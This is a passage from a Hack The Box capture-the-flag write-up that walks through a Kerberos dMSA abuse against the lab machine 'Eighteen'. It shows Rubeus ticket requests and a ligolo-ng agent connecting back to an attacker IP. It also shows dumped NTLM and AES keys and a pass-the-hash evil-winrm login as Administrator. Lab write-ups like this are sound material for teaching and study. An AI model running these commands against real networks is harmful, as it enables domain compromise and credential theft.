doIFYjCCBV6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMZWlnaHRlZW4uaHRio4IEIzCCBB+gAwIBEqEDAgECooIEEQSCBA0jUIqAJdHFB9qHCDb2/nUc4aUqMkVkZAdKG9QD3kteKm94SfO3ynHjAJnQisi7C1aEuKWmBRTp22/+dS+oBp9CHfmWDZAyWCeHqU27EPdYlRbYzuKfyH0E3xkyl2dHzH70B/dA4qsJFoMZtLJ30nei7v1RHXpxd+J8I6jVyMdMMq6h0u1LoJjCwqw1vmThP+uzalH396qbpC8INBjDx1jcbHUFwSnnV6AOxWCnwsZDonbr0BDbvxXkExC1e9IePsT+54V0mcjrQMwrDNkwyxZjsFGMDlT+2/dDoi8y846k6Vs+FCGwWkfOo7neimCEyYFW3jWGvs9oGwKjmKwg5yr0FgJF0riBUvFjYdDVxJBizVE5o9A8p+hdg6c6y5W9MI+cXHgyEgxoBVKOrwnLy0gQ+bJ776Ru5lu78WSAFhphXvJ8soSE9B+8MLom5gXsOvrhetQKhwmP4BuImc9c6/3AzvVcD48W4wqT0I1afXXIxAKeXI6PB25+19086Xa4LWtF2ecF2xKaJ3c79y/earacBZ/YdfkXkBgDtu3WGzhzHikWYGoTXVactixAI1eov43fSw2fdM+6xFnySCMJznz6Bwwh4QqFvQf24IgZQAwO5bsP0Z9JXS6v3JHD1U5ILnwhRßrGIT3HuRQlwaViJKeF1HtxsJ5xjXKFQbexD1ziexV/PDPOUvPuzWrDqZq0PcW7i+cC77sFcqjtaSQhYXvD3STiSj3D/4t7fLwStGJeREq0JjQwusUZIfizZr6ufc7MVEJuvGTzOkhj3SVa+koS/1/M9oO0GE2F1oui1GxY0rg5YlWwX+LdYAMhY3KIM7Qk4RxkUyKY30II5nPv9yE3l2ROhYWS8gf64KgZYEg+i3Kows4vgc5ie8JXDq0+YJvms6B5OeCvzIxJ7drWqVXpe7Hnd7yRITLr7vGJs9mg7N4h9Xx0g+TG485aaWdPGpoQcsOCJY0j0eK74GIauE0UOPPKeHRltuZKDdn9J2/A9Y6afmd8v2tYcTnjrxCNxR4GFV3KMXajxTujMp7a5i5O3weHbL2+SiDbW8Vrj0xYIvM5QkOGu6SzSmvoFpOgcq/j0aS5DVpC/3Q8KZUqBCBBUd92ZjZRUgPVb0gloo6bff8asTcV9VTJntE+Bk0TA/eZQNoAvKCGgTqWhK2D7egPVQSkKJZ1pFiQFVBel9S+vB2jz095pLtN+fVU1aTlpUgEHHUWUqnEKfUbM6lqZReoZOiUrheWcMEeUzoYzXLgep7jYWThfT9XFYTd8OjnFZxglp/4BMSGRowewXfw3yVzjE2bLp9g4cPGitcNMBvQJ4v//ExCCzZ0AawVksqbIT0m++MlWLNeKWHfT2dBXxbheMGA67jCHmRpeAc6w3KOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEILS58ONNLBwiJM24iQ/ju2QtFIOq7UODGh2s4QL6eNdsoQ4bDEVJR0hURUVOLkhUQqIRMA+gAwIBAaEIMAYbBFB3biSjBwMFAEDhAAClERgPMjAyNTExMjIwMzQ2MTlaphEYDzIwMjUxMTIyMTM0NjE5WqcRGA8yMDI1MTEyOTAzNDYxOVqoDhsMRUlHSFRFRU4uSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxlaWdodGVlbi5odGI=
ServiceName : krbtgt/eighteen.htb
ServiceRealm : EIGHTEEN.HTB
UserName : Pwn$
UserRealm : EIGHTEEN.HTB
StartTime : 11/21/2025 7:46:19 PM
EndTime : 11/22/2025 5:46:19 AM
RenewTill : 11/28/2025 7:46:19 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : tLnw400sHCIkzbiJD+O7ZC0Ug6rtQ4MaHazhAvp412w=
*Evil-WinRM* PS C:\Users\adam.scott\Documents>
Request the Golden-Ticket from the KDC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.
kirbi /ticket:doIFYjCCBV6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMZWlnaHRlZW4uaHRio4IEIzCCBB+gAwIBEqEDAgECooIEEQS
CBA3XTDcs1fppdb3LHpqcOqoMZ2fhQvgHiNF/ESBma2bu1LFx4WwuUKxGdFIWG/M5BGp3/FMCZKSzkS06WmVuHe289pujA++egviIvFyUsLQdrfZe802MumUbsEEzqLl6lP9JPe3TaKAN7SI8YZNTXjA0V68I8RI8awjk
rWzgnN67fiGB9lhW4la5Bxa2j1BHZuvDPLFhl4bGuIYMExob/IKv7S8BBhldaECY1aLmeN3mDib4pgDwjd/gQkCvV5fdxyka2BriPGRDrQLGNxFGaMJn1gAYbcmcWouiS4zJ3bMJbdbzeY76sLv+WteazbhDgHqbBf4l/
TRErGw3pQTiJpHrookb1j3Ui4OBEFmar6x6/ofe7v+7pDNMRtQvpNiOrTGUsbp7pmSRxH4gJeGapEiY3BQmdS5BEnoOQ2MWkGyyKk4dt3D5GKqJrJ9GVIzSNdn+xmqNj6LnIfW5+JLRftkn4dwavI1NrocZYdAx4JQuYy
K7UF6WqeaD6gD09WeKZf3dVM9xJGfoNjIlJI5ZRzUTWHgQWqBCjrGMLKHEvRSpds8HH76LTABiucw/dLXQEMwX/vCiFWzytuf7FyYGFj8mnze+NyW5QFOGgDWPOgZkHRPSm/MTFynohmDyU3uPDWzMKj4HuwfAqg2cJS8
kv3khI+VnB1eSnJZA7ANpwVvQXzeq76h4MS5VFcFfp8E7dxEcGC0YMUnfYWSgBoqRIbozhqmWpqBOfBqxN+3POZWY0ED5aGHdqe1T93n68YfRBvJ3cMHZ2BgsRQHUMbWN0zhcbMgLK5rPywzOGQIeLO5uRUB962JZBw4E
CwrTg+pvaAawFGIZ07x7IXQQbRu3QtUBShd1W6rjcEIvA74mKQSCGQnIahZOSZE50CpY9+IFGPVBfvptpqAjEj2q7JulMK9sDp7f4WJ9+cEk3x3xLGsCIalVjO/wkSpcWgZ4ugAstaO++1qLOVq6tKi9O11Hqu/kzZ62e
SzIA0x3bI41xD/o/JfnydTiE3uvVTLx3pXqFzSyCM6uF+VmlpYctfIi9WutZaA3Pj7S/sjP+91rk0tASfqsqT7GDchYGC3NAa9JaW2paQEUPKKqcxrKb0VWoHob5rCdle7VSVE/Ta5t5Vn6G4msxMdMXErjf3iLaR+Wv7
SzWKFzQWULOUzob2yh+lUShqP/f1jxDxPxns273Acx1ZvkyfPnwRl49ArLSuaUorFprUuF/GntJzao73oICd73pEyaa+vn6U64q4WwLoRCjQ5yVN63n7ZagNBxKpHI1q+HE9spGkQFcGaIv2disNReKpNa2oJmtGe6QfW
9kH3AV3m9wrP+imIlltyn1rKniMquexPd1h7poS/K0gQ9bsK4gby0hJFb7pGQevbO06OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEILgwi/ttbi29681J7yvfYBbJ5jaToyHHJ9FcavQv
ld10oQ4bDEVJR0hURUVOLkhUQqIRMA+gAwIBAaEIMAYbBFB3biSjBwMFAEDhAAClERgPMjAyNTExMjIwNDI0MjdaphEYDzIwMjUxMTIyMTQyNDI3WqcRGA8yMDI1MTEyOTA0MjQyN1qoDhsMRUlHSFRFRU4uSFRCqSEwH
6ADAgECoRgwFhsGa3JidGd0GwxlaWdodGVlbi5odGI= /enctype:aes256
...
ServiceName : krbtgt/EIGHTEEN.HTB
ServiceRealm : EIGHTEEN.HTB
UserName : Pwn$
UserRealm : EIGHTEEN.HTB
StartTime : 11/21/2025 8:25:57 PM
EndTime : 11/22/2025 6:24:27 AM
RenewTill : 11/28/2025 8:24:27 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 5WO9rx1SLifEM/FFCfCwexf0yfNsiYBc0WQRlpn75pQ=
[*] Ticket written to ticket.kirbi
We have to download this ticket to our machine.
1
2
3
4
5
*Evil-WinRM* PS C:\Users\adam.scott\Documents> download ticket.kirbi
Info: Downloading C:\Users\adam.scott\Documents\ticket.kirbi to ticket.kirbi
Info: Download successful!
The next step is to convert the ticket with Impacket-ticketConverter to a ccache file.
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
Set the file in the enironment
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ export KRB5CCNAME=ticket.ccache
Check if the Keberos ticket is loaded.
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ klist
Ticket cache: FILE:ticket.ccache
Default principal: Pwn$@EIGHTEEN.HTB
Valid starting Expires Service principal
11/25/2025 20:46:22 11/26/2025 06:45:00 krbtgt/EIGHTEEN.HTB@EIGHTEEN.HTB
renew until 12/02/2025 20:45:00
Yes! We can now establish the tunnel with ligolo-ng. I need first to add the ligolo interface.
1
2
3
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ sudo ip tuntap add user kali mode tun ligolo
[sudo] password for kali:
Enable the interface.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ sudo ip link set ligolo up
Add the ‘magic’ route.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ sudo ip route add 240.0.0.1/32 dev ligolo
Start ligolo-ng.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ ligolo-proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] daemon configuration file not found. Creating a new one...
? Enable Ligolo-ng WebUI? No
WARN[0004] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
ERRO[0004] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
INFO[0004] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: dev
ligolo-ng »
From the machine we can now establish the tunnel.
1
2
3
4
5
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\agent.exe --connect 10.10.16.5:11601 --ignore-cert
agent.exe : time="2025-11-25T20:41:42-08:00" level=warning msg="warning, certificate validation disabled"
+ CategoryInfo : NotSpecified: (time="2025-11-2...ation disabled":String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
time="2025-11-25T20:41:42-08:00" level=info msg="Connection established" addr="10.10.16.5:11601"
In ligolo-ng we can see that the agent is joined. We can now start the tunnel.
1
2
3
4
5
6
ligolo-ng » INFO[0056] Agent joined. id=00505694fb9f name="EIGHTEEN\\adam.scott@DC01" remote="10.10.11.95:56974"
ligolo-ng » session
? Specify a session : 1 - EIGHTEEN\adam.scott@DC01 - 10.10.11.95:56974 - 00505694fb9f
[Agent : EIGHTEEN\adam.scott@DC01] » start
INFO[0092] Starting tunnel to EIGHTEEN\adam.scott@DC01 (00505694fb9f)
[Agent : EIGHTEEN\adam.scott@DC01] »
Before we can use Kerberos, we have to fix the clock skew.
1
2
3
4
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ sudo rdate -n 240.0.0.1
[sudo] password for kali:
Tue Nov 25 20:48:50 PST 2025
I temporarily added 240.0.0.1 to my /etc/hosts file and pointed it to the domain name of the machine. We can request the Service Ticket.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ python3 getST.py 'eighteen.htb/pwn$:Password123' -k -no-pass -dmsa -self -impersonate 'attacker_DMSA$'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating attacker_DMSA$
[*] Requesting S4U2self
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:81206e0e350ad9b3a3c83d806203cfeb796b1f6bf5e6cbb6ae70ab0b8d4abbf4
[*] EncryptionTypes.rc4_hmac:41a0feb512ec902412e465aa9130059c
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in attacker_DMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
Root
Last step is to establish the evil-winrm session as Administrator and we have owned the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/htb/machines/eighteen]
└─$ evil-winrm -u "Administrator" -H "0b133be956bfaddf9cea56701affddec" -i eighteen.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt
56a73ea889ec9dd90d13d7e6e55b7ff1
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)